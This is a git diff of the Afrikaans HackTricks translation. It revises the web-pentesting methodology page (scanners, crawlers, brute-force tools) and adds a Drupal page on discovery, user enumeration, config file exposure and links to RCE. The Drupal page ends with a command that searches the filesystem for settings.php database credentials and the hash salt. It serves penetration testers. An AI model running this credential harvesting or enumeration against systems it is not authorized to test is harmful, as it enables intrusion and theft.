@ -89,7 +89,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
|
|||
* [**Artifactory**](artifactory-hacking-guide.md)
|
||||
* [**Buckets**](buckets/)
|
||||
* [**CGI**](cgi.md)
|
||||
* [**Drupal**](drupal.md)
|
||||
* [**Drupal**](drupal/)
|
||||
* [**Flask**](flask.md)
|
||||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
|
@ -121,14 +121,14 @@ As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is**
|
|||
|
||||
### Bronkode-oorsig
|
||||
|
||||
As die **bronkode** van die aansoek beskikbaar is in **github**, behalwe om 'n Witboks-toets van die aansoek uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Swartboks-toetsing**:
|
||||
As die **bronkode** van die aansoek beskikbaar is in **github**, behalwe om self 'n Witboks-toets van die aansoek uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Swartboks-toetsing**:
|
||||
|
||||
* Is daar 'n **Wysigingslogboek of Leesmy of Weergawe**-lêer of enigiets met **weergawe-inligting wat toeganklik is** via die web?
|
||||
* Hoe en waar word die **legitimasie** gestoor? Is daar enige (toeganklike?) **lêer** met legitimasie (gebruikersname of wagwoorde)?
|
||||
* Is daar 'n **Wysigingslogboek of Leesmy of Weergawe**-lêer of enige iets met **weergawe-inligting toeganklik** via die web?
|
||||
* Hoe en waar word die **geloofsbriewe** gestoor? Is daar enige (toeganklike?) **lêer** met geloofsbriewe (gebruikersname of wagwoorde)?
|
||||
* Is die **wagwoorde** in **plat teks**, **geënkripteer** of watter **hashing-algoritme** word gebruik?
|
||||
* Word enige **meestersleutel** gebruik vir die enkripsie van iets? Watter **algoritme** word gebruik?
|
||||
* Kan jy toegang kry tot enige van hierdie lêers deur van 'n kwesbaarheid gebruik te maak?
|
||||
* Is daar enige **interessante inligting in die github** (opgeloste en onopgeloste) **kwessies**? Of in **commit-geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
|
||||
* Is daar enige **interessante inligting in die github** (opgeloste en onopgeloste) **kwessies**? Of in die **commit-geskiedenis** (miskien 'n **wagwoord ingevoer binne 'n ou commit**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -150,24 +150,24 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMS skandeerders
|
||||
|
||||
Indien 'n CMS gebruik word, moenie vergeet om **'n skandeerder te hardloop nie**, dalk word iets interessants gevind:
|
||||
Indien 'n CMS gebruik word, moenie vergeet om **'n skandeerder te hardloop nie**, dalk word iets sappigs gevind:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **of** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **of** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Op hierdie punt behoort jy reeds enige inligting te hê oor die webbediener wat deur die klient gebruik word (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n paar skandeerders laat loop.
|
||||
> Op hierdie punt behoort jy reeds 'n idee te hê van die webbediener wat deur die klient gebruik word (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n paar skandeerders laat loop.
|
||||
|
||||
## Stap-vir-stap Webtoepassingsontdekking
|
||||
|
||||
> Van hier af gaan ons begin om met die webtoepassing te interaksieer.
|
||||
> Vanaf hier gaan ons begin om met die webtoepassing te interaksieer.
|
||||
|
||||
### Aanvanklike kontroles
|
||||
|
||||
|
@ -180,14 +180,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
* /.well-known/
|
||||
* Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
|
||||
|
||||
**Forsing van foute**
|
||||
**Forseer foute**
|
||||
|
||||
Webbedieners kan **onverwags optree** wanneer vreemde data aan hulle gestuur word. Dit kan **kwesbaarhede** of **gevoelige inligting openbaar**.
|
||||
|
||||
* Toegang tot **vals bladsye** soos /whatever\_fake.php (.aspx,.html,.ens.)
|
||||
* Voeg "\[]", "]]", en "\[\[" by in **koekiewaardes** en **parameterwaardes** om foute te skep
|
||||
* Voeg "\[]", "]]", en "\[\[" by in **koekiewaardes** en **parameter** waardes om foute te skep
|
||||
* Skep 'n fout deur inset te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
|
||||
* Probeer **verskillende HTTP-werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
|
||||
* Probeer **verskillende HTTP-werkwoorde** soos PATCH, DEBUG of verkeerde soos FAKE
|
||||
|
||||
#### **Kyk of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
|
@ -196,12 +196,12 @@ As jy vind dat **WebDav** **geaktiveer** is, maar jy het nie genoeg regte vir **
|
|||
* **Brute Force** geloofsbriewe
|
||||
* **Laai lêers op** via WebDav na die **res** van die **gevonde lêers** binne die webbladsy. Jy mag regte hê om lêers in ander lêers op te laai.
|
||||
|
||||
### **SSL/TLS-kwesbaarhede**
|
||||
### **SSL/TLS kwesbaarhede**
|
||||
|
||||
* As die aansoek **nie die gebruik van HTTPS afdwing** op enige punt nie, is dit **kwesbaar vir MitM**
|
||||
* As die aansoek **gevoelige data (wagwoorde) stuur deur HTTP** te gebruik. Dan is dit 'n hoë kwesbaarheid.
|
||||
* As die aansoek **gevoelige data (wagwoorde) stuur deur HTTP**. Dan is dit 'n hoë kwesbaarheid.
|
||||
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty-programme sal sulke tipes kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die kwesbaarhede weer te kontroleer:
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty-programme sal sulke tipes kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -217,50 +217,50 @@ Inligting oor SSL/TLS kwesbaarhede:
|
|||
|
||||
### Spidering
|
||||
|
||||
Begin 'n soort spinnekop binne die web. Die doel van die spinnekop is om soveel moontlike paaie van die getoetste aansoek te vind. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||
Begin 'n soort **spinnekop** binne die web. Die doel van die spinnekop is om **soveel moontlike paaie** van die getoetste aansoek te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spinnekop, LinkFinder in JS lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spinnekop, met LinkFider vir JS lêers en Archive.org as eksterne bron.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spinnekop, dui ook "sappige lêers" aan.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spinnekop. Dit soek ook in Archive.org
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie instrument is nie 'n spinnekop nie, maar dit kan nuttig wees. Jy kan net 'n lêer met gasheers en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die respons stoor.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie instrument is nie 'n spinnekop nie, maar dit kan nuttig wees. Jy kan net 'n lêer met gasheer en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die respons stoor.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spinnekop met JS-renderingsvermoëns. Dit lyk egter asof dit nie onderhou word nie, die vooraf saamgestelde weergawe is oud en die huidige kode kompileer nie
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spinnekop wat eksterne verskaffers gebruik (wayback, otx, commoncrawl)
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en lys.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spinnekop met JS-renderingsvermoëns.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spinnekop, met JS-verfraaiingsvermoëns wat nuwe paaie in JS lêers kan soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n omhulsel van LinkFinder is.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron- en ingeslote javascript-lêers te onttrek. Nuttig vir foutsoekers, rooi spanne, infosec-ninjas.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron- en ingeslote javascript-lêers te onttrek. Nuttig vir foutsoekers, rooi spanlede, infosec-ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7-skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te ontled. Nuttig vir die maklike ontdekking van AJAX-versoeke. Dit lyk asof dit nie onderhou word nie.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek deur handige regulêre uitdrukking te gebruik om die relatiewe URL's uit lelike (geminifiseerde) lêers te vind en te onttrek.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek deur handige regulêre uitdrukking om die relatiewe URL's uit lelike (minify) lêers te vind en te onttrek.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie gereedskap): Versamel interessante inligting uit JS-lêers met verskeie gereedskap.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n koplose blaaier en druk al die gelaai URL's om die bladsy te laai.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoudsontdekkingsinstrument wat verskeie opsies van die vorige gereedskap meng
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en parameters in JS-lêers te vind.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Instrument wat die .js.map-URL gegee sal jou die mooi JS-kode gee
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Instrument wat die .js.map-URL gee, sal jou die mooi JS-kode gee
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie is 'n instrument wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (laai ook die reaksies in die wayback af en soek na meer skakels
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms te vul) en vind ook sensitiewe inligting deur spesifieke regulêre uitdrukkings te gebruik.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (laai ook die antwoorde in die wayback af en soek na meer skakels
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms te vul) en vind ook sensitiewe inligting deur spesifieke regexes te gebruik.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI-websekuriteitskruiper/spinnekop wat vir sibersekuriteitsprofessionals ontwerp is.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [kommalynhulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrek van URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om die parameters en eindpunte uit die versoek te onttrek om 'n aangepaste woordelys vir fuzzing en enumerasie te skep.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Fantastiese instrument hiervoor.
|
||||
|
||||
### Brute Force-dosisse en lêers
|
||||
### Brute Force-dosiere en lêers
|
||||
|
||||
Begin met 'n **brute force** vanaf die hoofmap en verseker dat jy **alle** die **gevonde dosisse** deur **hierdie metode** en al die dosisse **ontdek** deur die **Spidering** te brute force (jy kan hierdie brute force **rekursief** doen en die name van die gevonde dosisse aan die begin van die gebruikte woordelys toevoeg).\
|
||||
Begin **brute-krag** vanaf die hoofmap en maak seker dat jy **alle** die **gevonde dosiere** deur hierdie metode en al die dosiere **ontdek** deur die **Spinnekop** te **brute-krag** (jy kan hierdie brute-krag **rekursief** doen en die name van die gevonde dosiere aan die begin van die gebruikte woordelys toevoeg).\
|
||||
Gereedskap:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomatiese ondertekende sertifikate toe en soek rekursief. Te stadig in vergelyking met die ander opsies.
|
||||
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomatiese ondertekende sertifikate en rekursiewe soektog toe. Te stadig in vergelyking met die ander opsies.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie outomatiese ondertekende sertifikate toe nie, maar** laat rekursiewe soektog toe.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat outomatiese ondertekende sertifikate toe, dit het **nie** 'n **rekursiewe** soektog nie.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinnig, ondersteun rekursiewe soektog.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinnig: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spinnekop nie, maar 'n instrument wat, gegewe die lys van gevonde URL's, "dupliseerde" URL's sal verwyder.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van dosisse van die burp-geskiedenis van verskillende bladsye te skep
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van dosiere van die burp-geskiedenis van verskillende bladsye te skep
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met dupliseerde funksionaliteite (gebaseer op js invoere)
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë op te spoor en die woordlyste te kies om te gebruik.
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë op te spoor en die woordlyste te kies wat gebruik moet word.
|
||||
|
||||
**Aanbevole woordeboeke:**
|
||||
|
||||
|
@ -295,7 +295,7 @@ _Merk op dat elke keer as 'n nuwe gids ontdek word tydens brute-forcing of spide
|
|||
* **Opmerkings:** Kontroleer die opmerkings van al die lêers, jy kan **geloofsbriewe** of **verskuilde funksionaliteit** vind.
|
||||
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** **te verberg** binne opmerkings aan die **regterkant** van die **bladsy** (deur **honderde** van **spasies** te gebruik sodat jy die data nie sien as jy die bronkode met die blaaier oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting te verberg** in 'n opmerking aan die **onderkant** van die webbladsy.
|
||||
* **API-sleutels**: As jy **enige API-sleutel vind** is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API-sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter api's die sleutel kan toegang verkry.
|
||||
* Google API-sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter api's die sleutel kan toegang verkry.
|
||||
* **S3 Emmers**: Terwyl jy aan die spidering is, kyk of enige **subdomein** of enige **skakel** verband hou met 'n paar **S3-emmer**. In daardie geval, [**kontroleer** die **toestemmings** van die emmer](buckets/).
|
||||
|
||||
### Spesiale bevindinge
|
||||
|
@ -304,10 +304,10 @@ _Merk op dat elke keer as 'n nuwe gids ontdek word tydens brute-forcing of spide
|
|||
|
||||
**Interessante lêers**
|
||||
|
||||
* Soek na **skakels** na ander lêers binne die **CSS**-lêers.
|
||||
* Soek na **skakels** na ander lêers binne die **CSS** lêers.
|
||||
* [As jy 'n _**.git**_ lêer vind kan daar inligting onttrek word](git.md)
|
||||
* As jy 'n _**.env**_ vind kan inligting soos api-sleutels, dbs wagwoorde en ander inligting gevind word.
|
||||
* As jy **API-eindpunte** vind moet jy hulle ook [toets](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos hulle lyk.
|
||||
* As jy **API-eindpunte** vind moet jy hulle ook [toets](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos hulle "lyk".
|
||||
* **JS-lêers**: In die spidering-afdeling is daar verskeie gereedskap genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om elke gevonde JS-lêer te **monitor**, aangesien 'n verandering in sommige gevalle kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik
|
||||
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) toets om te sien of dit kwesbaar is.
|
||||
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
|
@ -336,15 +336,15 @@ Jy kan dit **outomatiseer** deur die **nmap-inprop** "_http-ntlm-info.nse_".
|
|||
**HTTP Aanwysing (CTF)**
|
||||
|
||||
Dit is moontlik om inhoud binne 'n **Aanwysing** te **plaas**. Hierdie inhoud **sal nie aan die gebruiker gewys word** (aangesien die blaaier die aanwysing sal uitvoer) maar iets kan **daarin versteek** wees.
|
||||
### Web Kwetsbaarhede Kontroleer
|
||||
### Web Kwesbaarhede Kontroleer
|
||||
|
||||
Nou wat 'n omvattende opsomming van die webtoepassing uitgevoer is, is dit tyd om vir 'n hele paar moontlike kwetsbaarhede te kyk. Jy kan die kontrolelys hier vind:
|
||||
Nou wat 'n omvattende opsomming van die webtoepassing uitgevoer is, is dit tyd om vir 'n hele paar moontlike kwesbaarhede te kyk. Jy kan die kontrolelys hier vind:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vind meer inligting oor web kwetsbaarhede in:
|
||||
Vind meer inligting oor web kwesbaarhede in:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -352,9 +352,9 @@ Vind meer inligting oor web kwetsbaarhede in:
|
|||
|
||||
### Monitor Bladsye vir veranderinge
|
||||
|
||||
Jy kan gereedskap soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat moontlik kwetsbaarhede kan invoeg.
|
||||
Jy kan gereedskap soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat moontlik kwesbaarhede kan invoeg.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
|
@ -440,6 +440,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
134
network-services-pentesting/pentesting-web/drupal/README.md
Normal file
|
@ -0,0 +1,134 @@
|
|||
# Drupal
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Discovery
|
||||
|
||||
* Kontroleer **meta**
|
||||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
* **Node**: Drupal **indekseer sy inhoud deur nodes te gebruik**. 'n Node kan **enigiets bevat** soos 'n blogpos, opiniepeiling, artikel, ens. Die bladsy-URI's is gewoonlik in die vorm `/node/<nodeid>`.
|
||||
```bash
|
||||
curl drupal-site.com/node/1
|
||||
```
|
||||
## Opsomming
|
||||
|
||||
Drupal ondersteun standaard **drie tipes gebruikers**:
|
||||
|
||||
1. **`Administrateur`**: Hierdie gebruiker het volledige beheer oor die Drupal-webwerf.
|
||||
2. **`Geverifieerde Gebruiker`**: Hierdie gebruikers kan op die webwerf aanmeld en operasies uitvoer soos byvoorbeeld artikels byvoeg en wysig gebaseer op hul regte.
|
||||
3. **`Anoniem`**: Alle webwerfbesoekers word as anoniem aangedui. Standaard word hierdie gebruikers slegs toegelaat om plasings te lees.
|
||||
|
||||
### Weergawe
|
||||
|
||||
* Kontroleer `/CHANGELOG.txt`
|
||||
```bash
|
||||
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
||||
|
||||
Drupal 7.57, 2018-02-21
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Nuwer installeer van Drupal blokkeer standaard toegang tot die `CHANGELOG.txt` en `README.txt` lêers.
|
||||
{% endhint %}
|
||||
|
||||
### Gebruikersnaam enumerasie
|
||||
|
||||
#### Registreer
|
||||
|
||||
In _/user/register_ probeer net om 'n gebruikersnaam te skep en as die naam reeds geneem is, sal daar 'n kennisgewing wees:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Versoek nuwe wagwoord
|
||||
|
||||
As jy 'n nuwe wagwoord vir 'n bestaande gebruikersnaam versoek:
|
||||
|
||||
.png>)
|
||||
|
||||
As jy 'n nuwe wagwoord vir 'n nie-bestaande gebruikersnaam versoek:
|
||||
|
||||
.png>)
|
||||
|
||||
### Kry aantal gebruikers
|
||||
|
||||
Deur toegang tot _/user/\<number>_ te verkry, kan jy die aantal bestaande gebruikers sien, in hierdie geval is dit 2 aangesien _/users/3_ 'n nie gevind fout teruggee:
|
||||
|
||||
.png>)
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### Versteekte bladsye
|
||||
|
||||
**Fuzz `/node/$` waar `$` 'n nommer is** (van 1 tot 500 byvoorbeeld).\
|
||||
Jy kan **versteekte bladsye** (toets, ontwikkeling) vind wat nie deur die soekenjins verwys word nie.
|
||||
|
||||
#### Geïnstalleerde modules inligting
|
||||
```bash
|
||||
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
|
||||
#Get info on installed modules
|
||||
curl https://example.com/config/sync/core.extension.yml
|
||||
curl https://example.com/core/core.services.yml
|
||||
|
||||
# Download content from files exposed in the previous step
|
||||
curl https://example.com/config/sync/swiftmailer.transport.yml
|
||||
```
|
||||
### Outomaties
|
||||
```bash
|
||||
droopescan scan drupal -u http://drupal-site.local
|
||||
```
|
||||
## RCE
|
||||
|
||||
As jy toegang het tot die Drupal-webkonsole, kontroleer hierdie opsies om RCE te kry:
|
||||
|
||||
{% content-ref url="drupal-rce.md" %}
|
||||
[drupal-rce.md](drupal-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
### Lees settings.php
|
||||
```
|
||||
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
||||
```
|
||||
